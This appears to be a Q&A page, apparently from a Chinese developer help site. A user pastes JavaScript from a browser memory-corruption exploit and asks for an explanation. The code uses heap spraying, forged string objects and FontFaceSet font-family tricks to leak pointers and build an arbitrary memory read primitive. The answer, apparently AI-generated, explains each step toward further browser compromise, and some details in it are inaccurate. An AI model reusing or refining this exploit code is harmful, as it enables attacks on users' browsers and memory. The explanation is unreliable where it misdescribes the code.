var needfix = []; for (var i = 0;; i++) { ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]); var badstr2 = mkString(HASHMAP_BUCKET, p_s); needfix.push(mkString(HASHMAP_BUCKET, p_s)); bad_fonts[guessed_font].family = "evil2"; bad_fonts[guessed_font + 1].family = "evil3"; var leak = stringToPtr(badstr2.substr(badstr2.length - 8)); if (leak < 0x1000000000000) break; } function makeReader(read_addr, ffs_name) { var fake_s = ''; fake_s += '0000'; //padding for 8-byte alignment fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff fake_s += ptrToString(read_addr); //where to read from fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit p_s = ''; p_s += ptrToString(29); p_s += ptrToString(guessed_addr); p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE); for (var i = 0; i < 18; i++) p_s += ptrToString(INVALID_POINTER); for (var i = 0; i < 256; i++) mkString(HASHMAP_BUCKET, p_s); var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]); mkString(HASHMAP_BUCKET, p_s); var relative_read = mkString(HASHMAP_BUCKET, fake_s); bad_fonts[guessed_font].family = ffs_name + "_evil1"; bad_fonts[guessed_font + 1].family = ffs_name + "_evil2"; bad_fonts[guessed_font + 2].family = ffs_name + "_evil3"; needfix.push(relative_read); if (relative_read.length < 1000) //failed return makeReader(read_addr, ffs_name + '_'); return relative_read; }继续解释以上代码?
时间: 2024-04-21 15:25:02 浏览: 194
这段代码是继续在之前的攻击基础上进行漏洞利用的部分。
首先,代码定义了一个名为`needfix`的空数组。
然后,代码进入一个无限循环,循环体内进行以下操作:
首先,创建了一个新的`FontFaceSet`对象,并将之前猜测到的字体对象以及`good_font`一起作为参数传入。这个`FontFaceSet`对象被命名为"ffs_leak_"加上当前循环轮次的值。
接下来,使用`mkString`函数生成一个字符串`badstr2`,并将其长度减去8后的部分作为参数传入`stringToPtr`函数。这样可以获取到一个指针值,用于后续的地址泄漏。
然后,将生成的字符串添加到`needfix`数组中。接着,将猜测到的字体对象的family属性分别设置为"evil2"和"evil3"。
最后,通过判断泄漏的地址值是否小于0x1000000000000(这是一个阈值),来决定是否跳出循环。如果泄漏的地址小于该阈值,则认为成功获取到了地址,否则继续循环。
接下来,代码定义了一个名为`makeReader`的函数。该函数接受两个参数:`read_addr`表示要读取数据的地址,`ffs_name`表示要构建的`FontFaceSet`对象的名称。
在函数内部,首先创建了一个名为`fake_s`的字符串,并填充了一些特定的值。然后,通过调用`ptrToString`函数将`read_addr`转换为字符串,并将其添加到`fake_s`中。
接下来,创建了一个名为`p_s`的字符串,并将一系列指针转换为字符串并添加到其中。
然后,通过循环调用`mkString`函数,创建了256个长度为`HASHMAP_BUCKET`的字符串,并传入之前生成的`p_s`作为参数。
接下来,创建了一个名为`the_ffs`的新的`FontFaceSet`对象,并将猜测到的字体对象以及`good_font`一起作为参数传入。这个`FontFaceSet`对象被命名为`ffs_name`。
接着,通过调用`mkString`函数生成一个字符串,并将其添加到`p_s`中。
然后,使用一些特定的值创建了一个名为`relative_read`的字符串,并将其添加到`needfix`数组中。接着,将猜测到的字体对象的family属性分别设置为`ffs_name + "_evil1"`、`ffs_name + "_evil2"`和`ffs_name + "_evil3"`。
然后,判断`relative_read`字符串的长度是否小于1000。如果小于1000,则表示失败,需要重新调用`makeReader`函数进行修复。如果不小于1000,则表示成功构建了读取器函数,可以继续后续的攻击。
这段代码的目的是通过循环和字符串操作来获取地址泄漏,并构建特定的字符串和数据结构。这些字符串和数据结构将在后续的攻击中使用,以实现对浏览器的进一步攻击。具体的攻击方式可能包括利用内存错误漏洞进行读取、修改或执行任意代码等。
阅读全文
相关推荐
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![rar](https://img-home.csdnimg.cn/images/20241231044955.png)
![zip](https://img-home.csdnimg.cn/images/20241231045053.png)
![zip](https://img-home.csdnimg.cn/images/20241231045053.png)
![rar](https://img-home.csdnimg.cn/images/20241231044955.png)
![docx](https://img-home.csdnimg.cn/images/20241231044901.png)
![zip](https://img-home.csdnimg.cn/images/20241231045053.png)
![zip](https://img-home.csdnimg.cn/images/20241231045053.png)
![zip](https://img-home.csdnimg.cn/images/20241231045053.png)
![zip](https://img-home.csdnimg.cn/images/20241231045053.png)
![zip](https://img-home.csdnimg.cn/images/20241231045053.png)
![zip](https://img-home.csdnimg.cn/images/20241231045053.png)
![zip](https://img-home.csdnimg.cn/images/20241231045053.png)